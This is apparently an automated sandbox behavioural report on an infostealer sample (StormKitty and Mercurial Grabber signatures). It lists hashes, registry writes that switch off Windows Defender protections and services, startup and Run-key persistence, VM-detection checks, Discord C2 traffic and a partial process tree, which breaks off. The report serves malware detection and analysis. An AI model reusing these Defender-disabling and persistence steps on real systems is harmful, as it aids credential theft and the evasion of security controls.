Analysis
-
max time kernel
117s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
23-12-2024 13:36
Behavioral task
behavioral1
Sample
JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
Resource
win10v2004-20241007-en
General
-
Target
JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
-
Size
148.7MB
-
MD5
38036a70b4ed531dadb58f36408871f0
-
SHA1
7bf2c52e5b861044dce471293247f3926cb7fc8c
-
SHA256
6e0775e91dc304bdccef41ad8996aeb886c4d8378dc6f7d9a8789b2739777b32
-
SHA512
d534c5b00157f9bc49e2edf23b952d5bb4a364969027d1079059a4a9bb3753ed3584b7ec601e8ba608f1ee5fd5f20e0f2cc9986d5b1015a18538dd868301b938
-
SSDEEP
3145728:bJ3y6Y5xCztM7YOY65971/AG5xCztM7YOY65971hJ3ZR66:t3yFzGGkOYCnAGzGGkOYC33m
Malware Config
Signatures
-
Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/files/0x00080000000194df-16.dat disable_win_def behavioral1/memory/2676-84-0x0000000000910000-0x000000000092A000-memory.dmp disable_win_def -
Mercurial Grabber Stealer
Mercurial Grabber is an open source stealer targeting Chrome, Discord and some game clients as well as generic system information.
-
Mercurialgrabber family
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe -
StormKitty
StormKitty is an open source info stealer written in C#.
-
StormKitty payload 2 IoCs
resource yara_rule behavioral1/files/0x00080000000194df-16.dat family_stormkitty behavioral1/memory/2676-84-0x0000000000910000-0x000000000092A000-memory.dmp family_stormkitty -
Stormkitty family
-
Detected Nirsoft tools 11 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral1/files/0x000500000001c88f-106.dat Nirsoft behavioral1/memory/2976-113-0x0000000000D10000-0x00000000011AC000-memory.dmp Nirsoft behavioral1/files/0x000400000001cca2-231.dat Nirsoft behavioral1/memory/872-232-0x00000000003D0000-0x000000000084A000-memory.dmp Nirsoft behavioral1/files/0x000400000001d7c0-351.dat Nirsoft behavioral1/files/0x000400000001d85b-365.dat Nirsoft behavioral1/memory/2700-600-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral1/files/0x000400000001d7e9-607.dat Nirsoft behavioral1/memory/2692-612-0x0000000000400000-0x000000000041B000-memory.dmp Nirsoft behavioral1/memory/2692-616-0x0000000000400000-0x000000000041B000-memory.dmp Nirsoft behavioral1/files/0x000400000001d84b-629.dat Nirsoft -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions System32WINDOWS PROTECTOR.EXE -
NirSoft WebBrowserPassView 5 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral1/files/0x000500000001c88f-106.dat WebBrowserPassView behavioral1/memory/2976-113-0x0000000000D10000-0x00000000011AC000-memory.dmp WebBrowserPassView behavioral1/files/0x000400000001cca2-231.dat WebBrowserPassView behavioral1/memory/872-232-0x00000000003D0000-0x000000000084A000-memory.dmp WebBrowserPassView behavioral1/files/0x000400000001d85b-365.dat WebBrowserPassView -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools System32WINDOWS PROTECTOR.EXE -
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion System32WINDOWS PROTECTOR.EXE -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager5276367.exe System32WINDOWS MANGER.EXE File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager5276367.exe System32WINDOWS MANGER.EXE -
Executes dropped EXE 17 IoCs
pid Process 2148 System32ANTIS.EXE 1928 System32PROTECTIONS.EXE 2676 System32REGISTRY.EXE 2188 System32WINDOWS DEFENDER.EXE 1272 System32WINDOWS PROTECTOR.EXE 2976 System32WINDOWS MANGER.EXE 1152 System32PROTECTIONS.EXE 2360 System32WINDOWS SECURITY.EXE 1360 System32WINDOWS SHELL EXPERIENCE HOST.EXE 872 RtkBtManServ.exe 2788 System32WINDOWS SHELL EXPERIENCE HOST.EXE 2736 bfsvc.exe 2208 snuvcdsm.exe 2700 winhlp32.exe 2692 splwow64.exe 2628 hh.exe 2908 xwizard.exe -
Loads dropped DLL 15 IoCs
pid Process 1152 System32PROTECTIONS.EXE 2976 System32WINDOWS MANGER.EXE 2788 System32WINDOWS SHELL EXPERIENCE HOST.EXE 2828 cmd.exe 2828 cmd.exe 2728 cmd.exe 2728 cmd.exe 2876 cmd.exe 2876 cmd.exe 2876 cmd.exe 2876 cmd.exe 2876 cmd.exe 2876 cmd.exe 2984 cmd.exe 2984 cmd.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\nvidiaDValueOn = "C:\\Users\\Admin\\AppData\\Local\\NVIDIA Local Drivers\\DriversUpdateProcess_x64.exe" System32REGISTRY.EXE -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
flow ioc 11 discord.com 12 discord.com 13 discord.com 14 discord.com 17 discord.com 18 discord.com -
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 checkip.dyndns.org 6 ip4.seeip.org 9 ipecho.net 10 ipecho.net 15 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum System32WINDOWS PROTECTOR.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 System32WINDOWS PROTECTOR.EXE -
Modifies Security services 2 TTPs 4 IoCs
Modifies the startup behavior of a security service.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4" reg.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
resource yara_rule behavioral1/files/0x000400000001d7ca-593.dat upx behavioral1/memory/2876-595-0x00000000005C0000-0x000000000061B000-memory.dmp upx behavioral1/memory/2700-600-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral1/files/0x000400000001d7fe-603.dat upx behavioral1/memory/2692-612-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2692-616-0x0000000000400000-0x000000000041B000-memory.dmp upx -
Drops file in Windows directory 8 IoCs
description ioc Process File created C:\Windows\System32WINDOWS DEFENDER.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32WINDOWS MANGER.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32WINDOWS PROTECTOR.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32WINDOWS SECURITY.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32ANTIS.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32PROTECTIONS.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe File created C:\Windows\System32REGISTRY.EXE JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe -
Detects Pyinstaller 2 IoCs
resource yara_rule behavioral1/files/0x00060000000194d7-13.dat pyinstaller behavioral1/files/0x000400000001cb74-154.dat pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 59 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bfsvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language xwizard.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language splwow64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language choice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language System32ANTIS.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language hh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language winhlp32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language System32WINDOWS MANGER.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language snuvcdsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RtkBtManServ.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language choice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Checks SCSI registry key(s) 3 TTPs 1 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S System32WINDOWS PROTECTOR.EXE -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 System32WINDOWS PROTECTOR.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString System32WINDOWS PROTECTOR.EXE -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation System32WINDOWS PROTECTOR.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer System32WINDOWS PROTECTOR.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName System32WINDOWS PROTECTOR.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 System32WINDOWS PROTECTOR.EXE -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 RtkBtManServ.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 RtkBtManServ.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 2676 System32REGISTRY.EXE 2676 System32REGISTRY.EXE 2444 powershell.exe 660 powershell.exe 1392 powershell.exe 1076 powershell.exe 2208 snuvcdsm.exe 2208 snuvcdsm.exe 2628 hh.exe 2908 xwizard.exe 2908 xwizard.exe 2908 xwizard.exe 2908 xwizard.exe 872 RtkBtManServ.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 2148 System32ANTIS.EXE Token: SeDebugPrivilege 2676 System32REGISTRY.EXE Token: SeDebugPrivilege 1272 System32WINDOWS PROTECTOR.EXE Token: SeDebugPrivilege 872 RtkBtManServ.exe Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 660 powershell.exe Token: SeDebugPrivilege 1392 powershell.exe Token: SeDebugPrivilege 1076 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1680 wrote to memory of 2148 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 31 PID 1680 wrote to memory of 2148 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 31 PID 1680 wrote to memory of 2148 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 31 PID 1680 wrote to memory of 2148 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 31 PID 1680 wrote to memory of 1928 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 32 PID 1680 wrote to memory of 1928 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 32 PID 1680 wrote to memory of 1928 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 32 PID 1680 wrote to memory of 1928 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 32 PID 1680 wrote to memory of 2676 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 33 PID 1680 wrote to memory of 2676 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 33 PID 1680 wrote to memory of 2676 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 33 PID 1680 wrote to memory of 2676 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 33 PID 1680 wrote to memory of 2188 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 34 PID 1680 wrote to memory of 2188 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 34 PID 1680 wrote to memory of 2188 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 34 PID 1680 wrote to memory of 2188 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 34 PID 1680 wrote to memory of 2976 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 36 PID 1680 wrote to memory of 2976 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 36 PID 1680 wrote to memory of 2976 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 36 PID 1680 wrote to memory of 2976 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 36 PID 1680 wrote to memory of 1272 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 37 PID 1680 wrote to memory of 1272 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 37 PID 1680 wrote to memory of 1272 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 37 PID 1680 wrote to memory of 1272 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 37 PID 1928 wrote to memory of 1152 1928 System32PROTECTIONS.EXE 39 PID 1928 wrote to memory of 1152 1928 System32PROTECTIONS.EXE 39 PID 1928 wrote to memory of 1152 1928 System32PROTECTIONS.EXE 39 PID 1680 wrote to memory of 2360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 75 PID 1680 wrote to memory of 2360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 75 PID 1680 wrote to memory of 2360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 75 PID 1680 wrote to memory of 2360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 75 PID 2148 wrote to memory of 2056 2148 System32ANTIS.EXE 43 PID 2148 wrote to memory of 2056 2148 System32ANTIS.EXE 43 PID 2148 wrote to memory of 2056 2148 System32ANTIS.EXE 43 PID 2148 wrote to memory of 2056 2148 System32ANTIS.EXE 43 PID 1680 wrote to memory of 1360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 44 PID 1680 wrote to memory of 1360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 44 PID 1680 wrote to memory of 1360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 44 PID 1680 wrote to memory of 1360 1680 JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe 44 PID 2056 wrote to memory of 2024 2056 WScript.exe 46 PID 2056 wrote to memory of 2024 2056 WScript.exe 46 PID 2056 wrote to memory of 2024 2056 WScript.exe 46 PID 2056 wrote to memory of 2024 2056 WScript.exe 46 PID 2024 wrote to memory of 2444 2024 cmd.exe 48 PID 2024 wrote to memory of 2444 2024 cmd.exe 48 PID 2024 wrote to memory of 2444 2024 cmd.exe 48 PID 2024 wrote to memory of 2444 2024 cmd.exe 48 PID 2976 wrote to memory of 872 2976 System32WINDOWS MANGER.EXE 49 PID 2976 wrote to memory of 872 2976 System32WINDOWS MANGER.EXE 49 PID 2976 wrote to memory of 872 2976 System32WINDOWS MANGER.EXE 49 PID 2976 wrote to memory of 872 2976 System32WINDOWS MANGER.EXE 49 PID 2976 wrote to memory of 1484 2976 System32WINDOWS MANGER.EXE 50 PID 2976 wrote to memory of 1484 2976 System32WINDOWS MANGER.EXE 50 PID 2976 wrote to memory of 1484 2976 System32WINDOWS MANGER.EXE 50 PID 2976 wrote to memory of 1484 2976 System32WINDOWS MANGER.EXE 50 PID 2976 wrote to memory of 2880 2976 System32WINDOWS MANGER.EXE 52 PID 2976 wrote to memory of 2880 2976 System32WINDOWS MANGER.EXE 52 PID 2976 wrote to memory of 2880 2976 System32WINDOWS MANGER.EXE 52 PID 2976 wrote to memory of 2880 2976 System32WINDOWS MANGER.EXE 52 PID 1360 wrote to memory of 2788 1360 System32WINDOWS SHELL EXPERIENCE HOST.EXE 54 PID 1360 wrote to memory of 2788 1360 System32WINDOWS SHELL EXPERIENCE HOST.EXE 54 PID 1360 wrote to memory of 2788 1360 System32WINDOWS SHELL EXPERIENCE HOST.EXE 54 PID 1484 wrote to memory of 2916 1484 cmd.exe 55 PID 1484 wrote to memory of 2916 1484 cmd.exe 55
Processes
-
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\System32ANTIS.EXE"C:\Windows\System32ANTIS.EXE"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c compile.bat4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2024 -
